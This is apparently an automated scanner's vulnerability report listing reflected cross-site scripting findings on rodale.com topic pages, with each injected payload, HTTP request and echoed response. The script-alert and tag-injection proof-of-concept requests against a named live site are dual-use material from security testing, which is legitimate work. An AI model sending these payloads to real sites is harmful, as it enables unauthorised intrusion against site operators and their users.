2.374. http://www.rodale.com/topic/cholesterol [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cholesterol

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f5cc"><a>869191d0324 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1f5cc"><a>869191d0324/cholesterol HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:13 GMT
Date: Thu, 10 Mar 2011 17:10:13 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1f5cc"><a>869191d0324 topic1f5cc">
...[SNIP]...

2.375. http://www.rodale.com/topic/cholesterol [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cholesterol

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 612f4"><a>da2474d5479 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cholesterol612f4"><a>da2474d5479 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:50 GMT
Date: Thu, 10 Mar 2011 17:10:50 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cholesterol612f4"><a>da2474d5479 node node-958">
...[SNIP]...

2.376. http://www.rodale.com/topic/cholesterol [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cholesterol

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9bfa"><script>alert(1)</script>4c2eb432dda was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cholesterol?d9bfa"><script>alert(1)</script>4c2eb432dda=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:10 GMT
Date: Thu, 10 Mar 2011 17:10:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40871

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cholesterol?d9bfa"><script>alert(1)</script>4c2eb432dda=1" title="Register" class="moreLink">
...[SNIP]...

2.377. http://www.rodale.com/topic/chronic-pain [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/chronic-pain

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2270"><a>1f03c45c5d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf2270"><a>1f03c45c5d9/chronic-pain HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:13 GMT
Date: Thu, 10 Mar 2011 17:10:14 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf2270"><a>1f03c45c5d9 topicf2270">
...[SNIP]...

2.378. http://www.rodale.com/topic/chronic-pain [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/chronic-pain

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5caf"><a>90424fbea1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/chronic-paine5caf"><a>90424fbea1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:47 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:49 GMT
Date: Thu, 10 Mar 2011 17:10:49 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-chronic-paine5caf"><a>90424fbea1 node node-958">
...[SNIP]...

2.379. http://www.rodale.com/topic/chronic-pain [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/chronic-pain

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de4b1"><script>alert(1)</script>08177baef04 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/chronic-pain?de4b1"><script>alert(1)</script>08177baef04=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:10 GMT
Date: Thu, 10 Mar 2011 17:10:10 GMT
Content-Length: 31708
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/chronic-pain?de4b1"><script>alert(1)</script>08177baef04=1" title="Register" class="moreLink">
...[SNIP]...

2.380. http://www.rodale.com/topic/clean-energy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/clean-energy

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13b89"><a>9201eec9f79 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic13b89"><a>9201eec9f79/clean-energy HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:15 GMT
Date: Thu, 10 Mar 2011 17:10:15 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic13b89"><a>9201eec9f79 topic13b89">
...[SNIP]...

2.381. http://www.rodale.com/topic/clean-energy [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/clean-energy

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e5f7"><a>8606a404640 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/clean-energy7e5f7"><a>8606a404640 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:45 GMT
Date: Thu, 10 Mar 2011 17:10:45 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-clean-energy7e5f7"><a>8606a404640 node node-958">
...[SNIP]...

2.382. http://www.rodale.com/topic/clean-energy [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/clean-energy

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc3d9"><script>alert(1)</script>825ac43368f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/clean-energy?dc3d9"><script>alert(1)</script>825ac43368f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:11 GMT
Date: Thu, 10 Mar 2011 17:10:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34729

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/clean-energy?dc3d9"><script>alert(1)</script>825ac43368f=1" title="Register" class="moreLink">
...[SNIP]...

2.383. http://www.rodale.com/topic/cleaning-products [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cleaning-products

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3516c"><a>c9e62d97e82 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3516c"><a>c9e62d97e82/cleaning-products HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:20 GMT
Date: Thu, 10 Mar 2011 17:10:20 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3516c"><a>c9e62d97e82 topic3516c">
...[SNIP]...

2.384. http://www.rodale.com/topic/cleaning-products [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cleaning-products

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25511"><a>148bf7c0d1b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cleaning-products25511"><a>148bf7c0d1b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:56 GMT
Date: Thu, 10 Mar 2011 17:10:56 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cleaning-products25511"><a>148bf7c0d1b node node-958">
...[SNIP]...

2.385. http://www.rodale.com/topic/cleaning-products [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cleaning-products

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48c08"><script>alert(1)</script>d017054b32c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cleaning-products?48c08"><script>alert(1)</script>d017054b32c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:17 GMT
Date: Thu, 10 Mar 2011 17:10:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33018

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cleaning-products?48c08"><script>alert(1)</script>d017054b32c=1" title="Register" class="moreLink">
...[SNIP]...

2.386. http://www.rodale.com/topic/climate-change [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/climate-change

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e91c"><a>547c92a6bbb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3e91c"><a>547c92a6bbb/climate-change HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:20 GMT
Date: Thu, 10 Mar 2011 17:10:20 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3e91c"><a>547c92a6bbb topic3e91c">
...[SNIP]...

2.387. http://www.rodale.com/topic/climate-change [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/climate-change

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19909"><a>60210b16164 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/climate-change19909"><a>60210b16164 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:51 GMT
Date: Thu, 10 Mar 2011 17:10:52 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-climate-change19909"><a>60210b16164 node node-958">
...[SNIP]...

2.388. http://www.rodale.com/topic/climate-change [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/climate-change

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2b80"><script>alert(1)</script>6d3c3a4845e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/climate-change?a2b80"><script>alert(1)</script>6d3c3a4845e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:18 GMT
Date: Thu, 10 Mar 2011 17:10:18 GMT
Content-Length: 32564
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/climate-change?a2b80"><script>alert(1)</script>6d3c3a4845e=1" title="Register" class="moreLink">
...[SNIP]...

2.389. http://www.rodale.com/topic/coffee [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/coffee

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45f84"><a>83a34cd9e94 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic45f84"><a>83a34cd9e94/coffee HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:20 GMT
Date: Thu, 10 Mar 2011 17:10:20 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic45f84"><a>83a34cd9e94 topic45f84">
...[SNIP]...

2.390. http://www.rodale.com/topic/coffee [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/coffee

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6657f"><a>57012e3bf7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/coffee6657f"><a>57012e3bf7 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:55 GMT
Date: Thu, 10 Mar 2011 17:10:55 GMT
Content-Length: 22465
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-coffee6657f"><a>57012e3bf7 node node-958">
...[SNIP]...

2.391. http://www.rodale.com/topic/coffee [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/coffee

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56e81"><script>alert(1)</script>d731246efe0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/coffee?56e81"><script>alert(1)</script>d731246efe0=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:18 GMT
Date: Thu, 10 Mar 2011 17:10:18 GMT
